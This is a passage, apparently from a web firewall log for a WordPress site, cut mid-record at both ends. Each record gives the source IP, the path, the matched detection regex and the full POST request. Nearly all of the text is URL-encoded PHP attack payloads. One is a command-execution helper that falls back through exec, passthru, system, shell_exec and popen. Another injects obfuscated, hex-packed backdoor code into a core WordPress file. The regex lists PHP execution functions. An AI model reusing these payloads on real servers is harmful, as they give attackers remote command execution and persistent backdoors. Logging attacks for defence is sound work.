Chrome\";v=\"110\"\ncontent-length:3344\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nLO=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:21:54","147.135.37.185","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JG:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:3344\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nJG=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:21:57","185.16.36.161","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:3367\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 10:22:07","43.230.201.87","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lV:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:3344\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nlV=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:39:01","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bpr